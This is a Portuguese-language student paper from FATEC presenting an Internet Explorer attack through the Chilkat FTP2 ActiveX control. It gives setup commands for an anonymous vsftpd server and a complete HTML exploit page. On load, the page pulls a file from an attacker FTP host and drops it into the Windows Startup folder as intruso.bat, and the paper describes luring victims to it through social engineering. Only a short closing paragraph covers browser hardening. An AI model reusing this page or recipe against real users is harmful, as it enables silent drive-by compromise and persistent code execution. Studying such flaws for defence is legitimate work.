

Exploit do Internet Explorer

Débora Cardoso¹, Lucas Januário², Luis Guilherme Labegalini³
br_debizinha@hotmail.com¹, lucasjanuario@hotmail.com²,
luis_guilherme_ml@hotmail.com³
Faculdade de Tecnologia de Ourinhos- FATEC

Introdução

Com o aumento das tecnologias e suas complexidades também há o aumento de brechas e vulnerabilidades dos mesmos, facilitando assim a possibilidade de fraudes e riscos.

Algo muito utilizado hoje em dia também é a chamada engenharia social, que seria o modo de persuadir pessoas para que as mesmas te passem informações importantes (como senhas ou informações sigilosas) ou façam determinadas funções (como acessar páginas WEB que contenham arquivos maliciosos e até a execução dos mesmos).O assunto abordado explorará uma vulnerabilidade do Internet Explorer em conjunto com o ActiveX para que, utilizando-se de engenharia social e um servidor FTP, possa-se implantar arquivos intrusos no computador alvo sem que o mesmo perceba.

Protocolo FTP

O protocolo FTP (*File transfer Protocol*) *Protocolo de transferência de arquivo*, nada mais é que um protocolo de rede padrão, que opera na camada de aplicação do modelo OSI onde é utilizado para transferir arquivos de um local para outro através de redes TCP/IP, assim como a Internet. A fim de fazer isso, um servidor FTP precisa estar rodando na espera de receber os pedidos de um computador cliente que seja capaz de comunicar-se com o servidor FTP na porta 21 [1].

O papel do protocolo FTP

- Permitir o compartilhamento de arquivos entre máquinas distantes
- Permitir uma independência dos sistemas de arquivos das máquinas clientes e servidores
- Permitir transferir dados de maneira eficaz
- Transferência ilimitada de arquivos

Tecnologias Utilizadas e como Proceder

A tecnologia que nos garante acesso à máquina alvo nesse estudo é a tecnologia ActiveX, um conjunto de tecnologias criado pela Microsoft para facilitar a integração entre diversas aplicações.

O Internet Explorer utiliza-se do ActiveX como um componente para executar determinadas funções que para não ele seria possível sem as funções destas tecnologias [1]. Uma ferramenta criada com o ActiveX é o Chilkat FTP, um recurso multiplataforma pra facilitar desenvolvimentos de cliente FTP [2].

Para este estudo de caso será utilizado o cliente FTP Chilkat FTP2 e um servidor FTP criado no sistema operacional Debian. Também é necessária a criação de uma página HTML contendo linhas de código fonte onde será chamada função Chilkat FTP2 do ActiveX e o direcionamento da pasta para onde irá ser alocado nosso arquivo intruso [3].

Primeiro passo é a criação do servidor FTP com acesso anônimo. Com algumas linhas de comando a criação do servidor é rápida e fácil. Siga os seguintes passos:

1. Instale o vsftpd:

```
sudo apt-get install vsftpd
```

2. Alterar as configurações de arquivo. Abra o arquivo de configuração vsftpd.conf com um editor de texto. O arquivo está localizado no diretório /etc/vsftpd.conf
Faça as seguintes modificações no arquivo:

```
sudo vi /etc/vsftpd.conf
```

```
anonymous_enable=YES (é necessário deixar habilitado o acesso anonimo ao servidor)  
#local_enable=YES (habilite essa função apagando o caractere # da linha)
```

3. Adicionando um shell "falso" e crie uma conta de usuário FTP:

Edite o arquivo /etc/shells e adicione um nome de shell inexistente como /bin/false, por exemplo. Este shell falso pode limitar o acesso no sistema para usuários de FTP.

```
sudo vi /etc/shells
```

exemplo de um /etc/shells:

```
/bin/sh  
/bin/bash  
/bin/false
```

4. Crie um usuário e o faça utilizar o shell criado

```
sudo mkdir -p /home/ftp/ftpuser  
sudo useradd ftpuser -d /home/ftp/ftpuser/ -s /bin/false  
sudo passwd ftpuser  
sudo /etc/init.d/vsftpd restart
```

Pronto, você já tem um servidor FTP linux com acesso anônimo.

5. O próximo passo é a criação de uma pagina HTML que chame o Chilkat FTP2 e contendo o caminho para onde o arquivo será alocado. É importante que o download seja

feito diretamente com o carregamento da página, sem ser necessário clicar em quais quer botões para efetuar o download.

```
<html>
<object classid='clsid:302124C4-30A0-484A-9C7A-B51D5BA5306B' id='intruso' />
</object>

<object name="ftp2" width=0 height=0
classid="clsid:302124C4-30A0-484A-9C7A-B51D5BA5306B"
standby="Loading Chilkat FTP2..."
type="application/x-oleobject"
codebase="ChilkatFtp2.cab">
</object>
<script>
intruso.UnlockComponent("intruso");
intruso.Port=21;
intruso.Hostname="192.168.56.101"
intruso.username='intruso'
intruso.password='123mudar'
intruso.ConnectTimeout=5;
intruso.Passive=1;
var x;
x=intruso.Connect();
x=intruso.LocalRemoteDir("/home/intruso/");
x=intruso.GetFile("teste.txt","C:/Users/All Users/Microsoft/Windows/Start
Menu/Programs/Startup/intruso.bat");
intruso.Disconnect();
</script>
...

</html>
```

Obs.: O visual da página é de escolha livre.

Agora, com o servidor FTP criado e com a pagina pronta, basta apenas que o computador alvo acesse o link da página pelo navegador do IE para que o download do arquivo intruso seja feito.

Como Evitar a Invasão

A melhor maneira de evitar a invasão é não usar o Internet Explorer. Mas há também outra maneira como aumentar o nível de segurança do navegador. Para isso, abra o navegador Internet Explorer, vá à aba de Ferramentas procure por Opções de internet, abra a aba Segurança e deixe o nível de segurança em "alto", habilite também a função "modo de proteção". Nesta mesma aba pode-se também clicar no botão "nível personalizado" e desabilita todas as funções do ActiveX.

Referências

[1] RUSSO, Rafael. **Redes – Conheça o protocolo FTP**. Disponível em: <<http://escreveassim.com.br/2011/07/18/redes-conheca-o-protocolo-ftp/>>. Acessado em: 06 dez 2011.

[2] ARRUDA, Felipe. **Afinal, o que são Controles ActiveX e por que você deve instalá-los às vezes?** Disponível em: <<http://www.tecmundo.com.br/6750-afinal-o-que-sao-controles-activex-e-por-que-voce-deve-instala-los-as-vezes-.htm/>>. Acessado em: 15 jun 2011.

[3] Chilkat Software. Disponível em: < <http://www.chilkatsoft.com/ftp-2-activex.asp/>>. Acessado em: 17 jun 2011.

[4] Chilkat FTP-2 ActiveX control code execution (ChilkatFtp2ActiveXCodeExecution). Disponível em: <http://www.iss.net/security_center/reference/vuln/chilkat-ftp2-activex-code-execution.htm>. Acessado em: 17 jun 2011.